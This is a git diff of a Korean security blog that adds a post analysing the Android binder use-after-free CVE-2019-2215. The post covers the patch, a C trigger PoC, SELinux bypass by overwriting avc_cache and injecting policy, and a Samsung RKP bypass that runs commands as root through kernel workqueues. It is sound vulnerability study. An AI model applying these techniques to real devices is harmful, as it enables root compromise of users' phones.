      그림 11. node.avd = pAvcCacheSlot - DECISION_AVC_CACHE_OFFSET

      +
    • +
    +
  • +
  • line 21 : 연결된 다음 avc_node로 넘어간다.
  • +
+ +


+ +

위 과정을 거치면 결국 avc_cache.slots에 있는 모든 avc_node의 decision이 AVC_DECISION_ALLOWALL 값으로 overwrite 된다.

+ +


+

+ +

이를 적용하여 실제로 SELinux를 bypass하는 과정을 처음부터 보면 아래와 같이 이루어진다.

+ +
    +
  1. +

    avc_cache 주소를 구한다

    + +
     pAvcCache = get_kernel_sym_addr("avc_cache");
    +
    +
  2. +
  3. +

    /sys/fs/selinux/policy 파일을 읽는다. (selinux policy 위치에 따라 파일 위치는 변할 수 있다.)

    + +
     iPolFd = open("/sys/fs/selinux/policy", O_RDONLY);
    +
    +
  4. +
  5. +

    fstat을 이용하여 파일 정보를 얻는다.

    + +
     fstat(iPolFd, &statbuff)
    +
    +
  6. +
  7. +

    avc_cache의 descision 주소를 구해서 overwrite한다.

    + +
     overwrite_avc_cache(pAvcCache)
    +
    +
  8. +
  9. +

    mmap을 통해 selinux 파일 매핑 후, policyFile 구조체 세팅한다

    + +
     pPolicyMap = mmap(NULL, statbuff.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, iPolFd, 0);
    +    
    + pPolicyFile->type = PF_USE_MEMORY;
    + pPolicyFile->data = pPolicyMap;
    + pPolicyFile->len = statbuff.st_size;
    +
    +
  10. +
  11. +

    SE policy를 read한다

    + +
     policydb_init(pPolicyDb)
    + policydb_read(pPolicyDb, pPolicyFile, SEPOL_NOT_VERBOSE)
    +
    +
  12. +
  13. +

    앞서 overwrite한 avc_cache를 selinux policy에 삽입하고 커널에 적용한다

    + +
     add_rules_to_sepolicy(pAvcCache, &policydb)
    + //...
    + inject_sepolicy(pAvcCache, &policydb)
    +
    +
  14. +
+ +

자세한 코드는 아래 링크의 전체 exploit부분을 참고하면 알 수 있다.

+ +

https://github.com/chompie1337/s8_2019_2215_poc/tree/master/poc

+ +


+

+ +

5.5 Bypass RKP

+ +

samsung에서 제공하는 RKP는 android kernel 공격을 막을 수 있는 다양한 보호 기법을 제공한다. 기존에 kernel exploit에 사용되었던 방법인 task_struct의 cred를 overwrite하는 방법은 RKP가 task_struct에 write하는 것을 막음으로서 사용할 수 없게 되었다.

+ +

하지만 해커들은 RKP를 우회하여 root권한으로 코드를 실행하는 방법을 발견해 내었다.

+ +

이 챕터에서는 아래 링크에서 소개한 exploit 방법을 기반으로 분석을 진행한다.

+ + + +


+ +

5.5.1 Using call_usermodehelper_exec_work

+ +

이 exploit에서는 system권한으로 수행되는 workqueue에 call_usermodehelper_exec_work함수를 추가하여 kworker가 해당 함수를 root 권한으로 실행시키는 방법으로 RKP를 우회한다.

+ +
// workqueue by system permissions
+ffffffc012c8f7e0 D system_wq
+ffffffc012c8f7e8 D system_highpri_wq
+ffffffc012c8f7f0 D system_long_wq
+ffffffc012c8f7f8 D system_unbound_wq
+ffffffc012c8f800 D system_freezable_wq
+ffffffc012c8f808 D system_power_efficient_wq
+ffffffc012c8f810 D system_freezable_power_efficient_wq
+
+ +


+ +

위에서 사용되는 call_usermodehelper_exec_work 함수를 살펴본다.

+ +
// /kernel/kmod.c
+static void call_usermodehelper_exec_work(struct work_struct *work)
+{
+	struct subprocess_info *sub_info =
+		container_of(work, struct subprocess_info, work);
+
+	if (sub_info->wait & UMH_WAIT_PROC) {
+		call_usermodehelper_exec_sync(sub_info);
+	} else {
+		pid_t pid;
+		/*
+		 * Use CLONE_PARENT to reparent it to kthreadd; we do not
+		 * want to pollute current->children, and we need a parent
+		 * that always ignores SIGCHLD to ensure auto-reaping.
+		 */
+		pid = kernel_thread(call_usermodehelper_exec_async, sub_info,
+				    CLONE_PARENT | SIGCHLD);
+		if (pid < 0) {
+			sub_info->retval = pid;
+			umh_complete(sub_info);
+		}
+	}
+}
+
+ +
    +
  • call_usermodehelper_exec_work 함수는 shell command를 받아서 실행한다.
  • +
  • +

    call_usermodehelper_exec_synccall_usermodehelper_exec_async 함수 순으로 실행이 되고 결국 do_execve 함수를 통해 shell command를 실행할 수 있다.

    + +
      // /kernel/kmod.c
    +  static int call_usermodehelper_exec_async(void *data)
    +  {
    +  	struct subprocess_info *sub_info = data;
    +  	struct cred *new;
    +  	int retval;
    +    
    +  	set_user_nice(current, 0);
    +    
    +  	retval = -ENOMEM;
    +  	new = prepare_kernel_cred(current);
    +  	//[...]
    +    
    +  	commit_creds(new);
    +    
    +  	retval = do_execve(getname_kernel(sub_info->path),
    +  			   (const char __user *const __user *)sub_info->argv,
    +  			   (const char __user *const __user *)sub_info->envp);
    +    //[...]
    +  }
    +
    +
  • +
  • call_usermodehelper_exec_work 함수를 위에서 언급한 workqueue에 삽입하면 kworker가 이 함수와 연결된 work_struct를 실행할 때, 원하는 shell code를 실행시킬 수 있게 된다.
  • +
+ +


+ +

지금부터는 call_usermodehelper_exec_work 함수를 workqueue에 연결하여 호출하기 위해 kworkerworkqueue_struct, work_struct의 연결 관계에 대해서 살펴본다.

+ +


+ +

5.5.2 insert work into workqueue

+ +

call_usermodehelper_exec_work 함수를 kworker가 실행시키도록 하는 방법을 알기 위해, 먼저 work_structworkqueue_struct에 추가하는 작업을 분석한다.

+ +


+ +

workqueue_structwork_struct를 추가할 때는 queue_work함수를 이용하여 수행한다.

+ +
//example
+ret = queue_work(workqueue_struct, &work_struct);
+
+ +


+ +

queue_work함수의 내부 control flow를 따라 들어가면 아래와 같다.

+ +
// /include/linux/workqueue.h
+static inline bool queue_work(struct workqueue_struct *wq,
+			      struct work_struct *work)
+{
+	return queue_work_on(WORK_CPU_UNBOUND, wq, work);
+}
+
+// /kernel/workqueue.c
+bool queue_work_on(int cpu, struct workqueue_struct *wq,
+		   struct work_struct *work)
+{
+    //[...]
+	if (!test_and_set_bit(WORK_STRUCT_PENDING_BIT, work_data_bits(work))) {
+		__queue_work(cpu, wq, work);
+		ret = true;
+	}
+    //[...]
+}
+
+// /kernel/workqueue.c
+static void __queue_work(int cpu, struct workqueue_struct *wq,
+			 struct work_struct *work)
+{
+	struct pool_workqueue *pwq;
+	struct worker_pool *last_pool;
+	struct list_head *worklist;
+	unsigned int work_flags;
+	unsigned int req_cpu = cpu;
+
+    // [...]
+
+    if (!(wq->flags & WQ_UNBOUND))
+		pwq = per_cpu_ptr(wq->cpu_pwqs, cpu);
+	else
+		pwq = unbound_pwq_by_node(wq, cpu_to_node(cpu));
+
+	last_pool = get_work_pool(work);
+	if (last_pool && last_pool != pwq->pool) {
+		struct worker *worker;
+
+		spin_lock(&last_pool->lock);
+
+		worker = find_worker_executing_work(last_pool, work);
+
+		if (worker && worker->current_pwq->wq == wq) {
+			pwq = worker->current_pwq;
+		}
+		//[...]
+	}
+    //[...]
+	if (likely(pwq->nr_active < pwq->max_active)) {
+		trace_workqueue_activate_work(work);
+		pwq->nr_active++;
+		worklist = &pwq->pool->worklist;
+	} else {
+		work_flags |= WORK_STRUCT_DELAYED;
+		worklist = &pwq->delayed_works;
+	}
+
+	insert_work(pwq, work, worklist, work_flags);
+
+	spin_unlock(&pwq->pool->lock);
+}
+
+ +
    +
  • +

    line 33 ~ 35 : cpu 별로 연결되어 있는 pool_workqueue 구조체 포인터를 pwq에 가져온다

    + +

    그림 12. workqueue_struct 와 pool_workqueue 의 연결

    +
  • +
  • line 37 : work->data를 기준으로 pool_id를 계산해서 해당하는 worker_poolpool_workqueue에서 찾아서 가져온다. +
      +
    • +

      get_work_pool : 인자로 주어진 work가 가리키는 worker_pool을 가져온다

      + +
        // /kernel/workqueue.c
      +  static struct worker_pool *get_work_pool(struct work_struct *work)
      +  {
      +  	unsigned long data = atomic_long_read(&work->data);
      +  	int pool_id;
      +        
      +  	assert_rcu_or_pool_mutex();
      +        
      +  	if (data & WORK_STRUCT_PWQ)
      +  		return ((struct pool_workqueue *)
      +  			(data & WORK_STRUCT_WQ_DATA_MASK))->pool;
      +        
      +  	pool_id = data >> WORK_OFFQ_POOL_SHIFT;
      +  	if (pool_id == WORK_OFFQ_POOL_NONE)
      +  		return NULL;
      +        
      +  	return idr_find(&worker_pool_idr, pool_id);
      +  }
      +
      + +

      그림 13. work_struct가 pool_workqueue를 찾는 방법

      +
    • +
    +
  • +
  • line 38 : 찾은 worker_pool이 우리가 앞서 구한 pool_workqueue(pwq)에 연결된 게 아니라면, 즉 다른 pool_workerqueue 구조체에 연결되어 있다면, +
      +
    • +

      line 43 : find_worker_executing_work(last_pool, work)를 통해 last_poll에 연결된 worker중에 우리가 찾는 work를 담당하는 worker를 찾는다.

      + +
        // /kernel/workqueue.c
      +  static struct worker *find_worker_executing_work(struct worker_pool *pool,
      +  						 struct work_struct *work)
      +  {
      +  	struct worker *worker;
      +        
      +  	hash_for_each_possible(pool->busy_hash, worker, hentry,
      +  			       (unsigned long)work)
      +  		if (worker->current_work == work &&
      +  		    worker->current_func == work->func)
      +  			return worker;
      +        
      +  	return NULL;
      +  }
      +
      +
    • +
    • +

      line 46 : 앞서 찾은 worker->current_pwqpwq로 세팅한다.

      + +

      그림 14. worker에서 사용하는 올바른 pool_workqueue를 찾는 과정

      +
    • +
    +
  • +
  • line 50 : 맞으면 그냥 그대로 진행
  • +
  • line 51~58 : pwq->pool->worklist 혹은 pwq->delayed_worksworklist로 가져온다.
  • +
  • line 60 : insert_work()를 실행 +
      +
    • work->datapwq 로 설정
    • +
    • 앞서 구한 worklist에 work.entry 연결
    • +
    + +

    그림 15. work_struct를 worker_pool.worklist에 삽입

    +
  • +
+ +


+ +

workqueue에 work를 추가하는 과정을 정리하면 아래와 같다.

+ +
    +
  1. workqueue와 연결된 cpu의 첫 pool_workqueue(pwq) 구조체를 가져온다
  2. +
  3. 추가하고 싶은 workpool_id를 가진 worker_poolpool_workqueue에서 찾는다.
  4. +
  5. 2번에서 구한 worker_pool이 1번에서 구한 pwq가 아니라면, 구한 worker_pool에 연결된 worker중에 우리가 삽입할 work를 담당하는 worker->current_pwq를 가져온다.
  6. +
  7. pwq->pool->worklistwork를 insert한다.
  8. +
+ +


+ +

5.5.3 process_one_work

+ +

앞서 등록된 work는 kworker thread에 의하여 process_one_work함수에서 실행된다.

+ +

process_one_work 함수를 살펴보면 다음과 같다.

+ +
// /kernel/workqueue.c
+static void process_one_work(struct worker *worker, struct work_struct *work)
+__releases(&pool->lock)
+__acquires(&pool->lock)
+{
+	struct pool_workqueue *pwq = get_work_pwq(work);
+	struct worker_pool *pool = worker->pool;
+	bool cpu_intensive = pwq->wq->flags & WQ_CPU_INTENSIVE;
+	int work_color;
+	struct worker *collision;
+#ifdef CONFIG_LOCKDEP
+
+    //[...]
+
+    debug_work_deactivate(work);
+	hash_add(pool->busy_hash, &worker->hentry, (unsigned long)work);
+	worker->current_work = work;
+	worker->current_func = work->func;
+	worker->current_pwq = pwq;
+	work_color = get_work_color(work);
+
+	list_del_init(&work->entry);
+
+	//[...]
+
+	if (need_more_worker(pool))
+		wake_up_worker(pool);
+
+	//[...]
+
+	set_work_pool_and_clear_pending(work, pool->id);
+
+	spin_unlock_irq(&pool->lock);
+
+	lock_map_acquire_read(&pwq->wq->lockdep_map);
+	lock_map_acquire(&lockdep_map);
+	trace_workqueue_execute_start(work);
+	worker->current_func(work);
+
+	//[...]
+
+	hash_del(&worker->hentry);
+	worker->current_work = NULL;
+	worker->current_func = NULL;
+	worker->current_pwq = NULL;
+	worker->desc_valid = false;
+	pwq_dec_nr_in_flight(pwq, work_color);
+}
+
+ +
    +
  • line 6~7 : 앞선 쳅터에서 설정한 pool_workqueueworker_pool을 가져온다.
  • +
  • line 16~20 : 수행하고자 하는 work를 찾아서 worker를 세팅한다
  • +
  • line 37~38 : worker->current_func를 수행한다. +
      +
    • 이때 worker->current_funcwork->func이다.
    • +
    +
  • +
  • line 42~46 : worker를 정리한다.
  • +
+ +


+ +

5.5.4 Insert call_usermodehelper_exec_work into workqueue

+ +

즉 위와 같은 과정으로 work->func(work)를 수행하기 때문에, 우리가 work->func 주소에 call_usermodehelper_exec_work 를 넣을 수 있다면, 혹은 fake work node를 만들어서 앞서 아래 workqueue에 연결된 worker_pool에 work node를 삽입할 수 있다면 우리가 삽입한 call_usermodehelper_exec_work 함수를 실행할 수 있을 것이다.

+ +
// workqueue by system permissions
+ffffffc012c8f7e0 D system_wq
+ffffffc012c8f7e8 D system_highpri_wq
+ffffffc012c8f7f0 D system_long_wq
+ffffffc012c8f7f8 D system_unbound_wq
+ffffffc012c8f800 D system_freezable_wq
+ffffffc012c8f808 D system_power_efficient_wq
+ffffffc012c8f810 D system_freezable_power_efficient_wq
+
+ +

이와 관련된 exploit code는 아래 링크에서 확인할 수 있다

+ + + +


+

+ +

6. Reference

+ + + +
+
+
+ +
+
+
Minjoong Kim
+
mkim@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
Minjoong Kim
+
+
+
+ +
+ Android 1day Exploit Analysis (CVE-2019-2215) +
+
+
Android 1day Exploit Analysis by Newbie
+ +
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+
+
+
+
+ + + +
+
+ diff --git a/docs/categories/R&D.html b/docs/categories/R&D.html index 1230863..a9d563b 100644 --- a/docs/categories/R&D.html +++ b/docs/categories/R&D.html @@ -78,6 +78,30 @@
# R&D
+
+
+ +
Minjoong Kim
+
+
+
+ +
+ Android 1day Exploit Analysis (CVE-2019-2215) +
+
+
Android 1day Exploit Analysis by Newbie
+ +
+
diff --git "a/docs/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" "b/docs/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" index 477b901..d14b54f 100644 --- "a/docs/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" +++ "b/docs/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" @@ -412,22 +412,22 @@

후기

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -436,22 +436,22 @@

후기

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/feed.xml b/docs/feed.xml index eb5d1d1..8d38727 100644 --- a/docs/feed.xml +++ b/docs/feed.xml @@ -1,4 +1,2363 @@ -Jekyll2024-03-11T00:25:19-07:00http://ufo.stealien.com/feed.xmlSTEALIEN Technical Blog첨단기술을 간편하게 제공하는 기업, 스틸리언이 운영하는 기술블로그입니다.뉴비들의 하드웨어 해킹 입문기2024-02-05T17:00:00-08:002024-02-05T17:00:00-08:00http://ufo.stealien.com/2024-02-05/IoT-TechBlog-ko<h1 id="뉴비들의-하드웨어-해킹-입문기">뉴비들의 하드웨어 해킹 입문기</h1> +Jekyll2024-03-11T00:48:02-07:00http://ufo.stealien.com/feed.xmlSTEALIEN Technical Blog첨단기술을 간편하게 제공하는 기업, 스틸리언이 운영하는 기술블로그입니다.Android 1day Exploit Analysis (CVE-2019-2215)2024-03-10T08:00:00-07:002024-03-10T08:00:00-07:00http://ufo.stealien.com/2024-03-10/Android-1day-Exploit-Analysis-ko<h1 id="1-introduction">1. Introduction</h1> + +<p>평소에 관심이 많았던 Android 커널 exploit을 공부해보고자 이 게시물을 작성한다.</p> + +<p>취약점은 공개된 Android Kernel CVE인 CVE-2019-2215를 대상으로 분석을 진행했다. 해당 취약점의 경우 다양한 블로그에 취약점 정리가 잘 되어있고, poc 코드와 exploit 코드가 github에 공개된 상태로 존재하기 때문에, 처음 Android 커널 exploit을 공부하는 입장에서 분석이 용이할 것이라 생각하여 이 블로그에서는 해당 취약점을 분석했다.</p> + +<p>이전까지 공개된 취약점 분석에 대해, Root cause 분석부터 exploit까지 도달하는 과정에서 사용된 linux kernel code를 직접 확인하며 그 흐름을 따라가는 것을 목표로 블로그를 작성한다.</p> + +<p>이 글에서 나오는 exploit 코드 및 취약점 정보는 아래 Reference에서 확인할 수 있다.</p> + +<p><br /> +<br /></p> + +<h1 id="2-environment-setting">2. Environment Setting</h1> + +<p>이 챕터에서는 취약점 분석을 위한 환경설정을 하는 방법에 대해 소개한다.</p> + +<ul> + <li>환경 설정은 아래 사이트를 참고했다. + <ul> + <li><a href="https://github.com/cloudfuzz/android-kernel-exploitation">https://github.com/cloudfuzz/android-kernel-exploitation</a></li> + <li><a href="https://cloudfuzz.github.io/android-kernel-exploitation/chapters/environment-setup.html">https://cloudfuzz.github.io/android-kernel-exploitation/chapters/environment-setup.html</a></li> + </ul> + </li> +</ul> + +<p><br /></p> + +<h2 id="21-build-android-kernel">2.1 Build Android Kernel</h2> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone &lt;https://github.com/cloudfuzz/android-kernel-exploitation&gt; ~/workshop +<span class="nv">PATH</span><span class="o">=</span>~/Android/Sdk/platform-tools:<span class="nv">$PATH</span> +<span class="nv">PATH</span><span class="o">=</span>~/Android/Sdk/emulator:<span class="nv">$PATH</span> + +<span class="nb">cd </span>workshop +<span class="nb">cd </span>android-4.14-dev/ +repo init <span class="nt">--depth</span><span class="o">=</span>1 <span class="nt">-u</span> &lt;https://android.googlesource.com/kernel/manifest&gt; <span class="nt">-b</span> q-goldfish-android-goldfish-4.14-dev +<span class="nb">cp</span> ../custom-manifest/default.xml .repo/manifests/ +repo <span class="nb">sync</span> <span class="nt">-c</span> <span class="nt">--no-tags</span> <span class="nt">--no-clone-bundle</span> <span class="nt">-j</span><span class="sb">`</span><span class="nb">nproc</span><span class="sb">`</span> +</code></pre></div></div> + +<p><br /></p> + +<h2 id="22-boot-kernel-with-android-emulator">2.2 Boot Kernel with Android emulator</h2> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">BUILD_CONFIG</span><span class="o">=</span>../build-configs/goldfish.x86_64.kasan build/build.sh +</code></pre></div></div> +<p>/home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist</p> +<ul> + <li>bzImage</li> + <li>kernel-headers.tar.gz</li> + <li>kernel-uapi-headers.tar.gz</li> + <li>System.map</li> + <li>vmlinux</li> + <li> + <p>no kasan but gdbsymbols</p> + + <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> emulator <span class="nt">-show-kernel</span> <span class="nt">-no-snapshot</span> <span class="nt">-wipe-data</span> <span class="nt">-avd</span> CVE-2019-2215 <span class="nt">-kernel</span> /home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage +</code></pre></div> </div> + + <ul> + <li>debugging할 때는 마지막에 <code class="language-plaintext highlighter-rouge">-qemu -s</code> 옵션 추가</li> + </ul> + </li> + <li> + <p>with kasan</p> + + <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> emulator <span class="nt">-show-kernel</span> <span class="nt">-no-snapshot</span> <span class="nt">-wipe-data</span> <span class="nt">-avd</span> CVE-2019-2215 <span class="nt">-kernel</span> /home/ubuntu/workshop/android-4.14-dev/out/kasan/dist/bzImage +</code></pre></div> </div> + </li> + <li> + <p>debugging</p> + + <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> emulator <span class="nt">-show-kernel</span> <span class="nt">-no-snapshot</span> <span class="nt">-wipe-data</span> <span class="nt">-avd</span> CVE-2019-2215 <span class="nt">-kernel</span> /home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage <span class="nt">-qemu</span> <span class="nt">-s</span> <span class="nt">-S</span> +</code></pre></div> </div> + </li> +</ul> + +<p><br /> +<br /></p> + +<h1 id="3-background-information">3. Background Information</h1> + +<p>이 쳅터에서는 실제로 코드를 분석하기 전, commit과 patch 내용을 토대로 취약점에 대한 전반적인 내용을 확인해 본다.</p> + +<p><br /></p> + +<h2 id="31-commit">3.1 commit</h2> + +<ul> + <li> + <p><a href="https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E!/#F0">https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E!/#F0</a></p> + + <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> UPSTREAM: ANDROID: binder: remove waitqueue when thread exits. + + binder_poll() passes the thread-&gt;wait waitqueue that + can be slept on for work. When a thread that uses + epoll explicitly exits using BINDER_THREAD_EXIT, + the waitqueue is freed, but it is never removed + from the corresponding epoll data structure. When + the process subsequently exits, the epoll cleanup + code tries to access the waitlist, which results in + a use-after-free. + + Prevent this by using POLLFREE when the thread exits. + + (cherry picked from commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f) + + Change-Id: Ib34b1cbb8ab2192d78c3d9956b2f963a66ecad2e + Signed-off-by: Martijn Coenen &lt;maco@android.com&gt; + Reported-by: syzbot &lt;syzkaller@googlegroups.com&gt; + Cc: stable &lt;stable@vger.kernel.org&gt; # 4.14 + Signed-off-by: Greg Kroah-Hartman &lt;gregkh@linuxfoundation.org&gt; + +</code></pre></div> </div> + </li> + <li>위 commit에서 알 수 있는 내용은 아래와 같다. + <ol> + <li>binder_poll이 thread→wait waitqueue를 넘긴다.</li> + <li>이 쓰레드는 epoll에서 BINDER_THREAD_EXIT에 의해 해제되면서 waitqueue가 해제된다.</li> + <li>하지만 epoll data structure에는 여전히 남아있다.</li> + <li>따라서 이후 epoll cleanup과정에서 waitqueue에 접근할 때 UAF가 터진다</li> + </ol> + </li> + <li>commit에 언급된 부분은 <code class="language-plaintext highlighter-rouge">BINDER_THREAD_EXIT</code>, <code class="language-plaintext highlighter-rouge">epoll</code>과 <code class="language-plaintext highlighter-rouge">waitqueue</code>, <code class="language-plaintext highlighter-rouge">binder_poll</code> 이고, 이를 앞으로 분석한다.</li> +</ul> + +<p><br /></p> + +<h2 id="32-patch-diff">3.2 Patch diff</h2> + +<ul> + <li> + <p>우리는 patch 내용을 보고 실제 코드에서 어떤 부분이 취약했는지 유추하고 이를 어떤 방법으로 막았는지 살펴본다.</p> + + <div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code> /drivers/android/binder.c patch diff + + --- a/drivers/android/binder.c + +++ b/drivers/android/binder.c + + @@ -4535,6 +4535,18 @@ + if (t) + spin_lock(&amp;t-&gt;lock); + } + + + + /* + + * If this thread used poll, make sure we remove the waitqueue + + * from any epoll data structures holding it with POLLFREE. + + * waitqueue_active() is safe to use here because we're holding + + * the inner lock. + + */ + + if ((thread-&gt;looper &amp; BINDER_LOOPER_STATE_POLL) &amp;&amp; + + waitqueue_active(&amp;thread-&gt;wait)) { + + wake_up_poll(&amp;thread-&gt;wait, POLLHUP | POLLFREE); + + } + + + binder_inner_proc_unlock(thread-&gt;proc); + + if (send_reply) + +</code></pre></div> </div> + </li> + <li>위 코드는 <code class="language-plaintext highlighter-rouge">binder_thread_release</code>함수 내부에 추가된 코드이다.</li> + <li>위 코드에서 주석을 보고 알 수 있는 점은 다음과 같다. + <ul> + <li>binder를 해제할 때 epoll 구조체에 연결되어 있는지 확인하는 작업을 추가했고, 이를 <code class="language-plaintext highlighter-rouge">waitqueue_activate</code>함수를 추가함으로서 해결한 것으로 유추할 수 있다.</li> + </ul> + </li> + <li><code class="language-plaintext highlighter-rouge">wait_queue_activate</code>함수는 thread-&gt;wait-&gt;wq_head-&gt;head-&gt;next가 head 자기 자신을 가리키는지 확인한다. 즉 circular double linked list에서 node의 next가 자기 자신을 가리키는 상황으로 존재하는지 여부를 확인한다.</li> +</ul> + +<p>이를 통해 알 수 있는 점은 binder thread와 epoll간의 wait_queue 연결이 되어 있고, circular double linked list가 문제가 될 수 있다는 점을 알 수 있다.</p> + +<p><br /> +<br /></p> + +<h1 id="4-root-cause-analysis">4. Root Cause Analysis</h1> + +<p>이번 쳅터에서는 POC를 통해 UAF가 발생되는 취약점의 Root Cause를 분석한다.</p> + +<p>분석 순서는 POC의 진행 과정을 따라 Allocate, Free, Use 순으로 진행된다.</p> + +<p><br /></p> + +<h2 id="41-poc">4.1 POC</h2> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include &lt;fcntl.h&gt; +#include &lt;sys/epoll.h&gt; +#include &lt;sys/ioctl.h&gt; +#include &lt;unistd.h&gt; +</span> +<span class="cp">#define BINDER_THREAD_EXIT 0x40046208ul +</span> +<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> +<span class="p">{</span> + <span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="n">epfd</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">epoll_event</span> <span class="n">event</span> <span class="o">=</span> <span class="p">{</span> <span class="p">.</span><span class="n">events</span> <span class="o">=</span> <span class="n">EPOLLIN</span> <span class="p">};</span> + + <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/dev/binder0"</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span> + <span class="n">epfd</span> <span class="o">=</span> <span class="n">epoll_create</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span> + <span class="n">epoll_ctl</span><span class="p">(</span><span class="n">epfd</span><span class="p">,</span> <span class="n">EPOLL_CTL_ADD</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">event</span><span class="p">);</span> + <span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">BINDER_THREAD_EXIT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p><br /></p> + +<h2 id="42-allocate">4.2 Allocate</h2> + +<p>Use-After-Free 버그가 발생했다는 것은 patch note를 통해 알 수 있다. 이후, Use-After-Free 취약점이 발생한 힙 청크가 어디서 할당되었는지 알아보기 위해 chromium에 올라온 KASAN 코드를 확인해 볼 수 있다.</p> + +<ul> + <li>patch note : <a href="https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E!/#F0">https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E!/#F0</a></li> +</ul> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 464.655899] c0 3033 Allocated by task 3033: +[ 464.658257] [&lt;ffffff900808e5a4&gt;] save_stack_trace_tsk+0x0/0x204 +[ 464.663899] [&lt;ffffff900808e7c8&gt;] save_stack_trace+0x20/0x28 +[ 464.669882] [&lt;ffffff90082b0b14&gt;] kasan_kmalloc.part.5+0x50/0x124 +[ 464.675528] [&lt;ffffff90082b0e38&gt;] kasan_kmalloc+0xc4/0xe4 +[ 464.681597] [&lt;ffffff90082ac8a4&gt;] kmem_cache_alloc_trace+0x12c/0x240 +[ 464.686992] [&lt;ffffff90094093c0&gt;] binder_get_thread+0xdc/0x384 +[ 464.693319] [&lt;ffffff900940969c&gt;] binder_poll+0x34/0x1bc +[ 464.699127] [&lt;ffffff900833839c&gt;] SyS_epoll_ctl+0x704/0xf84 +[ 464.704423] [&lt;ffffff90080842b0&gt;] el0_svc_naked+0x24/0x28 + +</code></pre></div></div> + +<p>위 정보를 보면 epoll_ctl에서 binder_poll이 호출되어 힙이 할당된다. POC를 확인해 봤을 때, 아래에 해당하는 부분에서 청크가 할당된 것으로 추측할 수 있다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">epoll_ctl</span><span class="p">(</span><span class="n">epfd</span><span class="p">,</span> <span class="n">EPOLL_CTL_ADD</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">event</span><span class="p">);</span> +</code></pre></div></div> + +<ul> + <li>epfd : epoll_create의 return value</li> + <li>fd : binder file descripter</li> +</ul> + +<p>binder 드라이버의 파일 디스크립터는 <code class="language-plaintext highlighter-rouge">open("/dev/binder0", O_RDONLY);</code> 코드를 통해 얻을 수 있고, epfd는 <code class="language-plaintext highlighter-rouge">epfd = epoll_create(1000);</code> 이 코드를 통해 얻게 된다. 따라서 우리는 먼저 <code class="language-plaintext highlighter-rouge">epoll_create</code>를 분석한다.</p> + +<p><br /></p> + +<h3 id="421-epoll_create">4.2.1 epoll_create</h3> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// poc.c</span> +<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> +<span class="p">{</span> + <span class="p">...</span> + <span class="n">epfd</span> <span class="o">=</span> <span class="n">epoll_create</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span> + <span class="p">...</span> +<span class="p">}</span> +</code></pre></div></div> + +<p>위 poc에서 호출되는 epoll_create의 과정을 간략히 설명하면 다음과 같다.</p> + +<ol> + <li>binder_open함수가 실행되고 binder_proc 구조체가 할당된다.</li> + <li> + <p>epoll_create → epoll_alloc 함수가 실행되고 그 내부적으로 아래와 같은 코드가 실행된다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /fs/eventpoll.c</span> + <span class="k">static</span> <span class="kt">int</span> <span class="nf">ep_alloc</span><span class="p">(</span><span class="k">struct</span> 